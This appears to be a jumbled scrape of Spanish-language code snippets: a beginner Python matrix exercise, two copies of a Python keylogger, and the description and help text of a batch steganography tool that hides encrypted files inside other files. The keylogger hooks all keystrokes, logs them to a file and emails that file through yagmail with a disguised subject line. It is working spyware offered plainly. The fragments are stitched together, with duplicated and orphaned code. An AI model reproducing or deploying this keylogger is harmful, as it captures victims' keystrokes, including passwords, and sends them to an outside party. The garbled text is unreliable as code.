matriz[j]=contador

matriz[i][j]=contador

fila = 3
columna = 3
 
matriz =[]
for i in range(fila):
    matriz.append([0]*columna)
print (matriz)
 
##les da valor a la matriz 1a9
contador=1
for i in range(fila):
    for j in range(columna):
        matriz[i][j]=contador
        contador+=1
print(matriz)
 
## ordena la matriz
 
for k in matriz:
    print (k)
 
##Diagonal principal
a=[]
for i in range(fila):
    a.append(matriz[i][i])
print(a)
 
##Diagonal secundaria
a=[]
for i in range(fila):
    a.append(matriz[i][(columna-1)-i])
print(a)
 

• fila 1, columna n
• fila 2, columna n-1
• fila 3, columna n-2

if __name__ == "__main__":
    main()
 

from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys
 
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
if __name__ == "__main__":
    main()
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"
yag.send('correo@gmail.com', "JoJoJo", contents = [img])
 

• Procesa el código hexadecimal del archivo a ocultar. Y por medio del cifrado Vigenère, lo cifra.
• Luego, lo divide y anexa al final del código de otros archivos, ocultándolo.
• No afecta ninguno de los archivos originales, sino que produce unos nuevos, en concreto: Los archivos con el código oculto y un archivo.log cifrado (necesario para reconstruir el archivo original)
• El proceso de descifrado se realiza con el nombre del .log y la contraseña.

• Es independiente, no requiere de programas adicionales del sistema.
• No almacena la contraseña utilizada, así que para un uso casero, el cifrado es efectivo.
• Contrario a otros métodos esteganograficos de Batch, permite añadir los datos de un archivo en varios.
• También permite ocultar archivos de texto, al encriptarse y añadirse, son ilegibles.

• Recomiendo que los archivos sean pequeños, menores a 10 MB. Tanto el que se oculta como los que se usan para ocultar el archivo.
• El limite de procesamiento es de 30 MB.
• Como es Batch, no es potente, así que por eso incluyo estas limitaciones, si se introdujera un archivo cercano a los 30 MB, el script tardaría día y medio o dos días en completar el trabajo, porque el código en hex, se triplica de peso.
• No permite archivos con espacios en el nombre, solo no quise hacer el filtro al respecto, me parecía excesivo.
• Todos los archivos, el archivo a ocultar y los archivos donde ocultar deben estar en la misma carpeta del script.

echo.
echo STEGANOF: Script esteganografico. Ejecutese dentro de la carpeta con los archivos.
echo Sintaxis:
echo.
echo '-e' Permite cifrar y ocultar el archivo en otros archivos, con una contraseña.
echo Genera un archivo .log con el cual se puede recuperar el archivo oculto.
echo.
echo    STEG -e ARCHIVO_A_OCULTAR.ext CONTRASEÑA ARCHIVO2.ext ARCHIVO3.ext ARCHIVO4.ext
echo.
echo '-d' Permite extraer y descifrar el archivo.
echo.
echo    STEG -d ARCHIVO.log CONTRASEÑA NOMBRE_DE_ARCHIVO_OCULTO.ext
echo.
echo '-t' Testea los archivos, para ver si el script puede funcionar en ellos.
echo En caso de hallar algun archivo no compatible lo notifica. Si todos los
echo archivos son compatibles el mensaje es nulo.
echo.
echo    STEG -t ARCHIVO_A_OCULTAR.ext ARCHIVO2.ext ARCHIVO3.ext ARCHIVO4.ext
echo.
echo El limite del Script esta cerca de los 30 MB.
echo La velocidad varía alrededor de los 1 KB por cada 1,5 segundos. Por ello:
echo Se advierte y recomienda el uso en archivos menores a 10 MB.
echo.

from functools import partial
import time, datetime
import smtplib
import yagmail
import sys
import atexit
import os
import keyboard
 
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)
 
    # Indica si una tecla está siendo presionada.
    is_down = {}
 
    # Archivo de salida.
    output = open(FILE_NAME, "a")
 
    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)
 
    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
 
 
yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"	
yag.send('correo@gmail.com', "Birthday", contents = [img])

import time, datetime
import smtplib
import sys
 

import yagmail

import atexit
import os
import keyboard
 
if __name__ == "__main__":
    main()